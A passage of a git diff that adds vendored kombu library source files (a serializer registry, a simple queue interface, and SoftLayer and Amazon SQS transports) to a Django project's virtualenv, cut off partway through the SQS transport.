import entrypoints +from .utils.encoding import bytes_to_str, str_to_bytes + +__all__ = ('pickle', 'loads', 'dumps', 'register', 'unregister') +SKIP_DECODE = frozenset(['binary', 'ascii-8bit']) +TRUSTED_CONTENT = frozenset(['application/data', 'application/text']) + +if sys.platform.startswith('java'): # pragma: no cover + + def _decode(t, coding): + return codecs.getdecoder(coding)(t)[0] +else: + _decode = codecs.decode + +pickle_load = pickle.load + +#: We have to use protocol 4 until we drop support for Python 3.6 and 3.7. +pickle_protocol = int(os.environ.get('PICKLE_PROTOCOL', 4)) + +codec = namedtuple('codec', ('content_type', 'content_encoding', 'encoder')) + + +@contextmanager +def _reraise_errors(wrapper, + include=(Exception,), exclude=(SerializerNotInstalled,)): + try: + yield + except exclude: + raise + except include as exc: + reraise(wrapper, wrapper(exc), sys.exc_info()[2]) + + +def pickle_loads(s, load=pickle_load): + # used to support buffer objects + return load(BytesIO(s)) + + +def parenthesize_alias(first, second): + return f'{first} ({second})' if first else second + + +class SerializerRegistry: + """The registry keeps track of serialization methods.""" + + def __init__(self): + self._encoders = {} + self._decoders = {} + self._default_encode = None + self._default_content_type = None + self._default_content_encoding = None + self._disabled_content_types = set() + self.type_to_name = {} + self.name_to_type = {} + + def register(self, name, encoder, decoder, content_type, + content_encoding='utf-8'): + """Register a new encoder/decoder. + + Arguments: + name (str): A convenience name for the serialization method. + + encoder (callable): A method that will be passed a python data + structure and should return a string representing the + serialized data. If :const:`None`, then only a decoder + will be registered. Encoding will not be possible. + + decoder (Callable): A method that will be passed a string + representing serialized data and should return a python + data structure. If :const:`None`, then only an encoder + will be registered. Decoding will not be possible. + + content_type (str): The mime-type describing the serialized + structure. + + content_encoding (str): The content encoding (character set) that + the `decoder` method will be returning. Will usually be + `utf-8`, `us-ascii`, or `binary`. + """ + if encoder: + self._encoders[name] = codec( + content_type, content_encoding, encoder, + ) + if decoder: + self._decoders[content_type] = decoder + self.type_to_name[content_type] = name + self.name_to_type[name] = content_type + + def enable(self, name): + if '/' not in name: + name = self.name_to_type[name] + self._disabled_content_types.discard(name) + + def disable(self, name): + if '/' not in name: + name = self.name_to_type[name] + self._disabled_content_types.add(name) + + def unregister(self, name): + """Unregister registered encoder/decoder. + + Arguments: + name (str): Registered serialization method name. + + Raises: + SerializerNotInstalled: If a serializer by that name + cannot be found. + """ + try: + content_type = self.name_to_type[name] + self._decoders.pop(content_type, None) + self._encoders.pop(name, None) + self.type_to_name.pop(content_type, None) + self.name_to_type.pop(name, None) + except KeyError: + raise SerializerNotInstalled( + f'No encoder/decoder installed for {name}') + + def _set_default_serializer(self, name): + """Set the default serialization method used by this library. + + Arguments: + name (str): The name of the registered serialization method. + For example, `json` (default), `pickle`, `yaml`, `msgpack`, + or any custom methods registered using :meth:`register`. + + Raises: + SerializerNotInstalled: If the serialization method + requested is not available. + """ + try: + (self._default_content_type, self._default_content_encoding, + self._default_encode) = self._encoders[name] + except KeyError: + raise SerializerNotInstalled( + f'No encoder installed for {name}') + + def dumps(self, data, serializer=None): + """Encode data. + + Serialize a data structure into a string suitable for sending + as an AMQP message body. + + Arguments: + data (List, Dict, str): The message data to send. + + serializer (str): An optional string representing + the serialization method you want the data marshalled + into. (For example, `json`, `raw`, or `pickle`). + + If :const:`None` (default), then json will be used, unless + `data` is a :class:`str` or :class:`unicode` object. In this + latter case, no serialization occurs as it would be + unnecessary. + + Note that if `serializer` is specified, then that + serialization method will be used even if a :class:`str` + or :class:`unicode` object is passed in. + + Returns: + Tuple[str, str, str]: A three-item tuple containing the + content type (e.g., `application/json`), content encoding, (e.g., + `utf-8`) and a string containing the serialized data. + + Raises: + SerializerNotInstalled: If the serialization method + requested is not available. + """ + if serializer == 'raw': + return raw_encode(data) + if serializer and not self._encoders.get(serializer): + raise SerializerNotInstalled( + f'No encoder installed for {serializer}') + + # If a raw string was sent, assume binary encoding + # (it's likely either ASCII or a raw binary file, and a character + # set of 'binary' will encompass both, even if not ideal. + if not serializer and isinstance(data, bytes): + # In Python 3+, this would be "bytes"; allow binary data to be + # sent as a message without getting encoder errors + return 'application/data', 'binary', data + + # For Unicode objects, force it into a string + if not serializer and isinstance(data, str): + with _reraise_errors(EncodeError, exclude=()): + payload = data.encode('utf-8') + return 'text/plain', 'utf-8', payload + + if serializer: + content_type, content_encoding, encoder = \ + self._encoders[serializer] + else: + encoder = self._default_encode + content_type = self._default_content_type + content_encoding = self._default_content_encoding + + with _reraise_errors(EncodeError): + payload = encoder(data) + return content_type, content_encoding, payload + + def loads(self, data, content_type, content_encoding, + accept=None, force=False, _trusted_content=TRUSTED_CONTENT): + """Decode serialized data. + + Deserialize a data stream as serialized using `dumps` + based on `content_type`. + + Arguments: + data (bytes, buffer, str): The message data to deserialize. + + content_type (str): The content-type of the data. + (e.g., `application/json`). + + content_encoding (str): The content-encoding of the data. + (e.g., `utf-8`, `binary`, or `us-ascii`). + + accept (Set): List of content-types to accept. + + Raises: + ContentDisallowed: If the content-type is not accepted. + + Returns: + Any: The unserialized data. + """ + content_type = (bytes_to_str(content_type) if content_type + else 'application/data') + if accept is not None: + if content_type not in _trusted_content \ + and content_type not in accept: + raise self._for_untrusted_content(content_type, 'untrusted') + else: + if content_type in self._disabled_content_types and not force: + raise self._for_untrusted_content(content_type, 'disabled') + content_encoding = (content_encoding or 'utf-8').lower() + + if data: + decode = self._decoders.get(content_type) + if decode: + with _reraise_errors(DecodeError): + return decode(data) + if content_encoding not in SKIP_DECODE and \ + not isinstance(data, str): + with _reraise_errors(DecodeError): + return _decode(data, content_encoding) + return data + + def _for_untrusted_content(self, ctype, why): + return ContentDisallowed( + 'Refusing to deserialize {} content of type {}'.format( + why, + parenthesize_alias(self.type_to_name.get(ctype, ctype), ctype), + ), + ) + + +#: Global registry of serializers/deserializers. +registry = SerializerRegistry() +dumps = registry.dumps +loads = registry.loads +register = registry.register +unregister = registry.unregister + + +def raw_encode(data): + """Special case serializer.""" + content_type = 'application/data' + payload = data + if isinstance(payload, str): + content_encoding = 'utf-8' + with _reraise_errors(EncodeError, exclude=()): + payload = payload.encode(content_encoding) + else: + content_encoding = 'binary' + return content_type, content_encoding, payload + + +def register_json(): + """Register a encoder/decoder for JSON serialization.""" + from kombu.utils import json as _json + + registry.register('json', _json.dumps, _json.loads, + content_type='application/json', + content_encoding='utf-8') + + +def register_yaml(): + """Register a encoder/decoder for YAML serialization. + + It is slower than JSON, but allows for more data types + to be serialized. Useful if you need to send data such as dates + + """ + try: + import yaml + registry.register('yaml', yaml.safe_dump, yaml.safe_load, + content_type='application/x-yaml', + content_encoding='utf-8') + except ImportError: + + def not_available(*args, **kwargs): + """Raise SerializerNotInstalled. + + Used in case a client receives a yaml message, but yaml + isn't installed. + """ + raise SerializerNotInstalled( + 'No decoder installed for YAML. Install the PyYAML library') + registry.register('yaml', None, not_available, 'application/x-yaml') + + +def unpickle(s): + return pickle_loads(str_to_bytes(s)) + + +def register_pickle(): + """Register pickle serializer. + + The fastest serialization method, but restricts + you to python clients. + """ + def pickle_dumps(obj, dumper=pickle.dumps): + return dumper(obj, protocol=pickle_protocol) + + registry.register('pickle', pickle_dumps, unpickle, + content_type='application/x-python-serialize', + content_encoding='binary') + + +def register_msgpack(): + """Register msgpack serializer. + + See Also: + https://msgpack.org/. + """ + pack = unpack = None + try: + import msgpack + if msgpack.version >= (0, 4): + from msgpack import packb, unpackb + + def pack(s): + return packb(s, use_bin_type=True) + + def unpack(s): + return unpackb(s, raw=False) + else: + def version_mismatch(*args, **kwargs): + raise SerializerNotInstalled( + 'msgpack requires msgpack-python >= 0.4.0') + pack = unpack = version_mismatch + except (ImportError, ValueError): + def not_available(*args, **kwargs): + raise SerializerNotInstalled( + 'No decoder installed for msgpack. ' + 'Please install the msgpack-python library') + pack = unpack = not_available + registry.register( + 'msgpack', pack, unpack, + content_type='application/x-msgpack', + content_encoding='binary', + ) + + +# Register the base serialization methods. +register_json() +register_pickle() +register_yaml() +register_msgpack() + +# Default serializer is 'json' +registry._set_default_serializer('json') + + +_setupfuns = { + 'json': register_json, + 'pickle': register_pickle, + 'yaml': register_yaml, + 'msgpack': register_msgpack, + 'application/json': register_json, + 'application/x-yaml': register_yaml, + 'application/x-python-serialize': register_pickle, + 'application/x-msgpack': register_msgpack, +} + +NOTSET = object() + + +def enable_insecure_serializers(choices=NOTSET): + """Enable serializers that are considered to be unsafe. + + Note: + Will enable ``pickle``, ``yaml`` and ``msgpack`` by default, but you + can also specify a list of serializers (by name or content type) + to enable. + """ + choices = ['pickle', 'yaml', 'msgpack'] if choices is NOTSET else choices + if choices is not None: + for choice in choices: + try: + registry.enable(choice) + except KeyError: + pass + + +def disable_insecure_serializers(allowed=NOTSET): + """Disable untrusted serializers. + + Will disable all serializers except ``json`` + or you can specify a list of deserializers to allow. + + Note: + Producers will still be able to serialize data + in these formats, but consumers will not accept + incoming data using the untrusted content types. + """ + allowed = ['json'] if allowed is NOTSET else allowed + for name in registry._decoders: + registry.disable(name) + if allowed is not None: + for name in allowed: + registry.enable(name) + + +# Insecure serializers are disabled by default since v3.0 +disable_insecure_serializers() + +# Load entrypoints from installed extensions +for ep, args in entrypoints('kombu.serializers'): # pragma: no cover + register(ep.name, *args) + + +def prepare_accept_content(content_types, name_to_type=None): + """Replace aliases of content_types with full names from registry. + + Raises: + SerializerNotInstalled: If the serialization method + requested is not available. + """ + name_to_type = registry.name_to_type if not name_to_type else name_to_type + if content_types is not None: + try: + return {n if '/' in n else name_to_type[n] for n in content_types} + except KeyError as e: + raise SerializerNotInstalled( + f'No encoder/decoder installed for {e.args[0]}') + return content_types diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/simple.py b/django_lottopy/lib/python3.10/site-packages/kombu/simple.py new file mode 100644 index 00000000..eee037be --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/simple.py @@ -0,0 +1,152 @@ +"""Simple messaging interface.""" + +import socket +from collections import deque +from queue import Empty +from time import monotonic + +from . import entity, messaging +from .connection import maybe_channel + +__all__ = ('SimpleQueue', 'SimpleBuffer') + + +class SimpleBase: + Empty = Empty + _consuming = False + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + def __init__(self, channel, producer, consumer, no_ack=False): + self.channel = maybe_channel(channel) + self.producer = producer + self.consumer = consumer + self.no_ack = no_ack + self.queue = self.consumer.queues[0] + self.buffer = deque() + self.consumer.register_callback(self._receive) + + def get(self, block=True, timeout=None): + if not block: + return self.get_nowait() + + self._consume() + + time_start = monotonic() + remaining = timeout + while True: + if self.buffer: + return self.buffer.popleft() + + if remaining is not None and remaining <= 0.0: + raise self.Empty() + + try: + # The `drain_events` method will + # block on the socket connection to rabbitmq. if any + # application-level messages are received, it will put them + # into `self.buffer`. + # * The method will block for UP TO `timeout` milliseconds. + # * The method may raise a socket.timeout exception; or... + # * The method may return without having put anything on + # `self.buffer`. This is because internal heartbeat + # messages are sent over the same socket; also POSIX makes + # no guarantees against socket calls returning early. + self.channel.connection.client.drain_events(timeout=remaining) + except socket.timeout: + raise self.Empty() + + if remaining is not None: + elapsed = monotonic() - time_start + remaining = timeout - elapsed + + def get_nowait(self): + m = self.queue.get(no_ack=self.no_ack, accept=self.consumer.accept) + if not m: + raise self.Empty() + return m + + def put(self, message, serializer=None, headers=None, compression=None, + routing_key=None, **kwargs): + self.producer.publish(message, + serializer=serializer, + routing_key=routing_key, + headers=headers, + compression=compression, + **kwargs) + + def clear(self): + return self.consumer.purge() + + def qsize(self): + _, size, _ = self.queue.queue_declare(passive=True) + return size + + def close(self): + self.consumer.cancel() + + def _receive(self, message_data, message): + self.buffer.append(message) + + def _consume(self): + if not self._consuming: + self.consumer.consume(no_ack=self.no_ack) + self._consuming = True + + def __len__(self): + """`len(self) -> self.qsize()`.""" + return self.qsize() + + def __bool__(self): + return True + __nonzero__ = __bool__ + + +class SimpleQueue(SimpleBase): + """Simple API for persistent queues.""" + + no_ack = False + queue_opts = {} + queue_args = {} + exchange_opts = {'type': 'direct'} + + def __init__(self, channel, name, no_ack=None, queue_opts=None, + queue_args=None, exchange_opts=None, serializer=None, + compression=None, accept=None): + queue = name + queue_opts = dict(self.queue_opts, **queue_opts or {}) + queue_args = dict(self.queue_args, **queue_args or {}) + exchange_opts = dict(self.exchange_opts, **exchange_opts or {}) + if no_ack is None: + no_ack = self.no_ack + if not isinstance(queue, entity.Queue): + exchange = entity.Exchange(name, **exchange_opts) + queue = entity.Queue(name, exchange, name, + queue_arguments=queue_args, + **queue_opts) + routing_key = name + else: + exchange = queue.exchange + routing_key = queue.routing_key + consumer = messaging.Consumer(channel, queue, accept=accept) + producer = messaging.Producer(channel, exchange, + serializer=serializer, + routing_key=routing_key, + compression=compression) + super().__init__(channel, producer, + consumer, no_ack) + + +class SimpleBuffer(SimpleQueue): + """Simple API for ephemeral queues.""" + + no_ack = True + queue_opts = {'durable': False, + 'auto_delete': True} + exchange_opts = {'durable': False, + 'delivery_mode': 'transient', + 'auto_delete': True} diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/SLMQ.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/SLMQ.py new file mode 100644 index 00000000..750f67bd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/SLMQ.py @@ -0,0 +1,200 @@ +"""SoftLayer Message Queue transport module for kombu. + +Features +======== +* Type: Virtual +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: No +* Supports Priority: No +* Supports TTL: No + +Connection String +================= + *Unreviewed* + +Transport Options +================= + *Unreviewed* +""" + +import os +import socket +import string +from queue import Empty + +from kombu.utils.encoding import bytes_to_str, safe_str +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property + +from . import virtual + +try: + from softlayer_messaging import get_client + from softlayer_messaging.errors import ResponseError +except ImportError: # pragma: no cover + get_client = ResponseError = None + +# dots are replaced by dash, all other punctuation replaced by underscore. +CHARS_REPLACE_TABLE = { + ord(c): 0x5f for c in string.punctuation if c not in '_' +} + + +class Channel(virtual.Channel): + """SLMQ Channel.""" + + default_visibility_timeout = 1800 # 30 minutes. + domain_format = 'kombu%(vhost)s' + _slmq = None + _queue_cache = {} + _noack_queues = set() + + def __init__(self, *args, **kwargs): + if get_client is None: + raise ImportError( + 'SLMQ transport requires the softlayer_messaging library', + ) + super().__init__(*args, **kwargs) + queues = self.slmq.queues() + for queue in queues: + self._queue_cache[queue] = queue + + def basic_consume(self, queue, no_ack, *args, **kwargs): + if no_ack: + self._noack_queues.add(queue) + return super().basic_consume(queue, no_ack, + *args, **kwargs) + + def basic_cancel(self, consumer_tag): + if consumer_tag in self._consumers: + queue = self._tag_to_queue[consumer_tag] + self._noack_queues.discard(queue) + return super().basic_cancel(consumer_tag) + + def entity_name(self, name, table=CHARS_REPLACE_TABLE): + """Format AMQP queue name into a valid SLQS queue name.""" + return str(safe_str(name)).translate(table) + + def _new_queue(self, queue, **kwargs): + """Ensure a queue exists in SLQS.""" + queue = self.entity_name(self.queue_name_prefix + queue) + try: + return self._queue_cache[queue] + except KeyError: + try: + self.slmq.create_queue( + queue, visibility_timeout=self.visibility_timeout) + except ResponseError: + pass + q = self._queue_cache[queue] = self.slmq.queue(queue) + return q + + def _delete(self, queue, *args, **kwargs): + """Delete queue by name.""" + queue_name = self.entity_name(queue) + self._queue_cache.pop(queue_name, None) + self.slmq.queue(queue_name).delete(force=True) + super()._delete(queue_name) + + def _put(self, queue, message, **kwargs): + """Put message onto queue.""" + q = self._new_queue(queue) + q.push(dumps(message)) + + def _get(self, queue): + """Try to retrieve a single message off ``queue``.""" + q = self._new_queue(queue) + rs = q.pop(1) + if rs['items']: + m = rs['items'][0] + payload = loads(bytes_to_str(m['body'])) + if queue in self._noack_queues: + q.message(m['id']).delete() + else: + payload['properties']['delivery_info'].update({ + 'slmq_message_id': m['id'], 'slmq_queue_name': q.name}) + return payload + raise Empty() + + def basic_ack(self, delivery_tag): + delivery_info = self.qos.get(delivery_tag).delivery_info + try: + queue = delivery_info['slmq_queue_name'] + except KeyError: + pass + else: + self.delete_message(queue, delivery_info['slmq_message_id']) + super().basic_ack(delivery_tag) + + def _size(self, queue): + """Return the number of messages in a queue.""" + return self._new_queue(queue).detail()['message_count'] + + def _purge(self, queue): + """Delete all current messages in a queue.""" + q = self._new_queue(queue) + n = 0 + results = q.pop(10) + while results['items']: + for m in results['items']: + self.delete_message(queue, m['id']) + n += 1 + results = q.pop(10) + return n + + def delete_message(self, queue, message_id): + q = self.slmq.queue(self.entity_name(queue)) + return q.message(message_id).delete() + + @property + def slmq(self): + if self._slmq is None: + conninfo = self.conninfo + account = os.environ.get('SLMQ_ACCOUNT', conninfo.virtual_host) + user = os.environ.get('SL_USERNAME', conninfo.userid) + api_key = os.environ.get('SL_API_KEY', conninfo.password) + host = os.environ.get('SLMQ_HOST', conninfo.hostname) + port = os.environ.get('SLMQ_PORT', conninfo.port) + secure = bool(os.environ.get( + 'SLMQ_SECURE', self.transport_options.get('secure')) or True, + ) + endpoint = '{}://{}{}'.format( + 'https' if secure else 'http', host, + f':{port}' if port else '', + ) + + self._slmq = get_client(account, endpoint=endpoint) + self._slmq.authenticate(user, api_key) + return self._slmq + + @property + def conninfo(self): + return self.connection.client + + @property + def transport_options(self): + return self.connection.client.transport_options + + @cached_property + def visibility_timeout(self): + return (self.transport_options.get('visibility_timeout') or + self.default_visibility_timeout) + + @cached_property + def queue_name_prefix(self): + return self.transport_options.get('queue_name_prefix', '') + + +class Transport(virtual.Transport): + """SLMQ Transport.""" + + Channel = Channel + + polling_interval = 1 + default_port = None + connection_errors = ( + virtual.Transport.connection_errors + ( + ResponseError, socket.error + ) + ) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/SQS.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/SQS.py new file mode 100644 index 00000000..d5e328ea --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/SQS.py @@ -0,0 +1,897 @@ +"""Amazon SQS transport module for Kombu. + +This package implements an AMQP-like interface on top of Amazons SQS service, +with the goal of being optimized for high performance and reliability. + +The default settings for this module are focused now on high performance in +task queue situations where tasks are small, idempotent and run very fast. + +SQS Features supported by this transport +======================================== +Long Polling +------------ +https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-long-polling.html + +Long polling is enabled by setting the `wait_time_seconds` transport +option to a number > 1. Amazon supports up to 20 seconds. This is +enabled with 10 seconds by default. + +Batch API Actions +----------------- +https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-batch-api.html + +The default behavior of the SQS Channel.drain_events() method is to +request up to the 'prefetch_count' messages on every request to SQS. +These messages are stored locally in a deque object and passed back +to the Transport until the deque is empty, before triggering a new +API call to Amazon. + +This behavior dramatically speeds up the rate that you can pull tasks +from SQS when you have short-running tasks (or a large number of workers). + +When a Celery worker has multiple queues to monitor, it will pull down +up to 'prefetch_count' messages from queueA and work on them all before +moving on to queueB. If queueB is empty, it will wait up until +'polling_interval' expires before moving back and checking on queueA. + +Other Features supported by this transport +========================================== +Predefined Queues +----------------- +The default behavior of this transport is to use a single AWS credential +pair in order to manage all SQS queues (e.g. listing queues, creating +queues, polling queues, deleting messages). + +If it is preferable for your environment to use multiple AWS credentials, you +can use the 'predefined_queues' setting inside the 'transport_options' map. +This setting allows you to specify the SQS queue URL and AWS credentials for +each of your queues. For example, if you have two queues which both already +exist in AWS) you can tell this transport about them as follows: + +.. code-block:: python + + transport_options = { + 'predefined_queues': { + 'queue-1': { + 'url': 'https://sqs.us-east-1.amazonaws.com/xxx/aaa', + 'access_key_id': 'a', + 'secret_access_key': 'b', + 'backoff_policy': {1: 10, 2: 20, 3: 40, 4: 80, 5: 320, 6: 640}, # optional + 'backoff_tasks': ['svc.tasks.tasks.task1'] # optional + }, + 'queue-2.fifo': { + 'url': 'https://sqs.us-east-1.amazonaws.com/xxx/bbb.fifo', + 'access_key_id': 'c', + 'secret_access_key': 'd', + 'backoff_policy': {1: 10, 2: 20, 3: 40, 4: 80, 5: 320, 6: 640}, # optional + 'backoff_tasks': ['svc.tasks.tasks.task2'] # optional + }, + } + 'sts_role_arn': 'arn:aws:iam:::role/STSTest', # optional + 'sts_token_timeout': 900 # optional + } + +Note that FIFO and standard queues must be named accordingly (the name of +a FIFO queue must end with the .fifo suffix). + +backoff_policy & backoff_tasks are optional arguments. These arguments +automatically change the message visibility timeout, in order to have +different times between specific task retries. This would apply after +task failure. + +AWS STS authentication is supported, by using sts_role_arn, and +sts_token_timeout. sts_role_arn is the assumed IAM role ARN we are trying +to access with. sts_token_timeout is the token timeout, defaults (and minimum) +to 900 seconds. After the mentioned period, a new token will be created. + + + +If you authenticate using Okta_ (e.g. calling |gac|_), you can also specify +a 'session_token' to connect to a queue. Note that those tokens have a +limited lifetime and are therefore only suited for short-lived tests. + +.. _Okta: https://www.okta.com/ +.. _gac: https://github.com/Nike-Inc/gimme-aws-creds#readme +.. |gac| replace:: ``gimme-aws-creds`` + + +Client config +------------- +In some cases you may need to override the botocore config. You can do it +as follows: + +.. code-block:: python + + transport_option = { + 'client-config': { + 'connect_timeout': 5, + }, + } + +For a complete list of settings you can adjust using this option see +https://botocore.amazonaws.com/v1/documentation/api/latest/reference/config.html + +Features +======== +* Type: Virtual +* Supports Direct: Yes +* Supports Topic: Yes +* Supports Fanout: Yes +* Supports Priority: No +* Supports TTL: No +""" # noqa: E501 + + +import base64 +import socket +import string +import uuid +from datetime import datetime +from queue import Empty + +from botocore.client import Config +from botocore.exceptions import ClientError +from vine import ensure_promise, promise, transform + +from kombu.asynchronous import get_event_loop +from kombu.asynchronous.aws.ext import boto3, exceptions +from kombu.asynchronous.aws.sqs.connection import AsyncSQSConnection +from kombu.asynchronous.aws.sqs.message import AsyncMessage +from kombu.log import get_logger +from kombu.utils import scheduling +from kombu.utils.encoding import bytes_to_str, safe_str +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property + +from . import virtual + +logger = get_logger(__name__) + +# dots are replaced by dash, dash remains dash, all other punctuation +# replaced by underscore. +CHARS_REPLACE_TABLE = { + ord(c): 0x5f for c in string.punctuation if c not in '-_.' +} +CHARS_REPLACE_TABLE[0x2e] = 0x2d # '.' -> '-' + +#: SQS bulk get supports a maximum of 10 messages at a time. +SQS_MAX_MESSAGES = 10 + + +def maybe_int(x): + """Try to convert x' to int, or return x' if that fails.""" + try: + return int(x) + except ValueError: + return x + + +class UndefinedQueueException(Exception): + """Predefined queues are being used and an undefined queue was used.""" + + +class InvalidQueueException(Exception): + """Predefined queues are being used and configuration is not valid.""" + + +class QoS(virtual.QoS): + """Quality of Service guarantees implementation for SQS.""" + + def reject(self, delivery_tag, requeue=False): + super().reject(delivery_tag, requeue=requeue) + routing_key, message, backoff_tasks, backoff_policy = \ + self._extract_backoff_policy_configuration_and_message( + delivery_tag) + if routing_key and message and backoff_tasks and backoff_policy: + self.apply_backoff_policy( + routing_key, delivery_tag, backoff_policy, backoff_tasks) + + def _extract_backoff_policy_configuration_and_message(self, delivery_tag): + try: + message = self._delivered[delivery_tag] + routing_key = message.delivery_info['routing_key'] + except KeyError: + return None, None, None, None + if not routing_key or not message: + return None, None, None, None + queue_config = self.channel.predefined_queues.get(routing_key, {}) + backoff_tasks = queue_config.get('backoff_tasks') + backoff_policy = queue_config.get('backoff_policy') + return routing_key, message, backoff_tasks, backoff_policy + + def apply_backoff_policy(self, routing_key, delivery_tag, + backoff_policy, backoff_tasks): + queue_url = self.channel._queue_cache[routing_key] + task_name, number_of_retries = \ + self.extract_task_name_and_number_of_retries(delivery_tag) + if not task_name or not number_of_retries: + return None + policy_value = backoff_policy.get(number_of_retries) + if task_name in backoff_tasks and policy_value is not None: + c = self.channel.sqs(routing_key) + c.change_message_visibility( + QueueUrl=queue_url, + ReceiptHandle=delivery_tag, + VisibilityTimeout=policy_value + ) + + def extract_task_name_and_number_of_retries(self, delivery_tag): + message = self._delivered[delivery_tag] + message_headers = message.headers + task_name = message_headers['task'] + number_of_retries = int( + message.properties['delivery_info']['sqs_message'] + ['Attributes']['ApproximateReceiveCount']) + return task_name, number_of_retries + + +class Channel(virtual.Channel): + """SQS Channel.""" + + default_region = 'us-east-1' + default_visibility_timeout = 1800 # 30 minutes. + default_wait_time_seconds = 10 # up to 20 seconds max + domain_format = 'kombu%(vhost)s' + _asynsqs = None + _predefined_queue_async_clients = {} # A client for each predefined queue + _sqs = None + _predefined_queue_clients = {} # A client for each predefined queue + _queue_cache = {} + _noack_queues = set() + QoS = QoS + + def __init__(self, *args, **kwargs): + if boto3 is None: + raise ImportError('boto3 is not installed') + super().__init__(*args, **kwargs) + self._validate_predifined_queues() + + # SQS blows up if you try to create a new queue when one already + # exists but with a different visibility_timeout. This prepopulates + # the queue_cache to protect us from recreating + # queues that are known to already exist. + self._update_queue_cache(self.queue_name_prefix) + + self.hub = kwargs.get('hub') or get_event_loop() + + def _validate_predifined_queues(self): + """Check that standard and FIFO queues are named properly. + + AWS requires FIFO queues to have a name + that ends with the .fifo suffix. + """ + for queue_name, q in self.predefined_queues.items(): + fifo_url = q['url'].endswith('.fifo') + fifo_name = queue_name.endswith('.fifo') + if fifo_url and not fifo_name: + raise InvalidQueueException( + "Queue with url '{}' must have a name " + "ending with .fifo".format(q['url']) + ) + elif not fifo_url and fifo_name: + raise InvalidQueueException( + "Queue with name '{}' is not a FIFO queue: " + "'{}'".format(queue_name, q['url']) + ) + + def _update_queue_cache(self, queue_name_prefix): + if self.predefined_queues: + for queue_name, q in self.predefined_queues.items(): + self._queue_cache[queue_name] = q['url'] + return + + resp = self.sqs().list_queues(QueueNamePrefix=queue_name_prefix) + for url in resp.get('QueueUrls', []): + queue_name = url.split('/')[-1] + self._queue_cache[queue_name] = url + + def basic_consume(self, queue, no_ack, *args, **kwargs): + if no_ack: + self._noack_queues.add(queue) + if self.hub: + self._loop1(queue) + return super().basic_consume( + queue, no_ack, *args, **kwargs + ) + + def basic_cancel(self, consumer_tag): + if consumer_tag in self._consumers: + queue = self._tag_to_queue[consumer_tag] + self._noack_queues.discard(queue) + return super().basic_cancel(consumer_tag) + + def drain_events(self, timeout=None, callback=None, **kwargs): + """Return a single payload message from one of our queues. + + Raises: + Queue.Empty: if no messages available. + """ + # If we're not allowed to consume or have no consumers, raise Empty + if not self._consumers or not self.qos.can_consume(): + raise Empty() + + # At this point, go and get more messages from SQS + self._poll(self.cycle, callback, timeout=timeout) + + def _reset_cycle(self): + """Reset the consume cycle. + + Returns: + FairCycle: object that points to our _get_bulk() method + rather than the standard _get() method. This allows for + multiple messages to be returned at once from SQS ( + based on the prefetch limit). + """ + self._cycle = scheduling.FairCycle( + self._get_bulk, self._active_queues, Empty, + ) + + def entity_name(self, name, table=CHARS_REPLACE_TABLE): + """Format AMQP queue name into a legal SQS queue name.""" + if name.endswith('.fifo'): + partial = name[:-len('.fifo')] + partial = str(safe_str(partial)).translate(table) + return partial + '.fifo' + else: + return str(safe_str(name)).translate(table) + + def canonical_queue_name(self, queue_name): + return self.entity_name(self.queue_name_prefix + queue_name) + + def _new_queue(self, queue, **kwargs): + """Ensure a queue with given name exists in SQS.""" + if not isinstance(queue, str): + return queue + # Translate to SQS name for consistency with initial + # _queue_cache population. + queue = self.canonical_queue_name(queue) + + # The SQS ListQueues method only returns 1000 queues. When you have + # so many queues, it's possible that the queue you are looking for is + # not cached. In this case, we could update the cache with the exact + # queue name first. + if queue not in self._queue_cache: + self._update_queue_cache(queue) + try: + return self._queue_cache[queue] + except KeyError: + if self.predefined_queues: + raise UndefinedQueueException(( + "Queue with name '{}' must be " + "defined in 'predefined_queues'." + ).format(queue)) + + attributes = {'VisibilityTimeout': str(self.visibility_timeout)} + if queue.endswith('.fifo'): + attributes['FifoQueue'] = 'true' + + resp = self._create_queue(queue, attributes) + self._queue_cache[queue] = resp['QueueUrl'] + return resp['QueueUrl'] + + def _create_queue(self, queue_name, attributes): + """Create an SQS queue with a given name and nominal attributes.""" + # Allow specifying additional boto create_queue Attributes + # via transport options + if self.predefined_queues: + return None + + attributes.update( + self.transport_options.get('sqs-creation-attributes') or {}, + ) + + return self.sqs(queue=queue_name).create_queue( + QueueName=queue_name, + Attributes=attributes, + ) + + def _delete(self, queue, *args, **kwargs): + """Delete queue by name.""" + if self.predefined_queues: + return + super()._delete(queue) + self._queue_cache.pop(queue, None) + + def _put(self, queue, message, **kwargs): + """Put message onto queue.""" + q_url = self._new_queue(queue) + if self.sqs_base64_encoding: + body = AsyncMessage().encode(dumps(message)) + else: + body = dumps(message) + kwargs = {'QueueUrl': q_url, 'MessageBody': body} + if queue.endswith('.fifo'): + if 'MessageGroupId' in message['properties']: + kwargs['MessageGroupId'] = \ + message['properties']['MessageGroupId'] + else: + kwargs['MessageGroupId'] = 'default' + if 'MessageDeduplicationId' in message['properties']: + kwargs['MessageDeduplicationId'] = \ + message['properties']['MessageDeduplicationId'] + else: + kwargs['MessageDeduplicationId'] = str(uuid.uuid4()) + + c = self.sqs(queue=self.canonical_queue_name(queue)) + if message.get('redelivered'): + c.change_message_visibility( + QueueUrl=q_url, + ReceiptHandle=message['properties']['delivery_tag'], + VisibilityTimeout=0 + ) + else: + c.send_message(**kwargs) + + @staticmethod + def _optional_b64_decode(byte_string): + try: + data = base64.b64decode(byte_string) + if base64.b64encode(data) == byte_string: + return data + # else the base64 module found some embedded base64 content + # that should be ignored. + except Exception: # pylint: disable=broad-except + pass + return byte_string + + def _message_to_python(self, message, queue_name, queue): + body = self._optional_b64_decode(message['Body'].encode()) + payload = loads(bytes_to_str(body)) + if queue_name in self._noack_queues: + queue = self._new_queue(queue_name) + self.asynsqs(queue=queue_name).delete_message( + queue, + 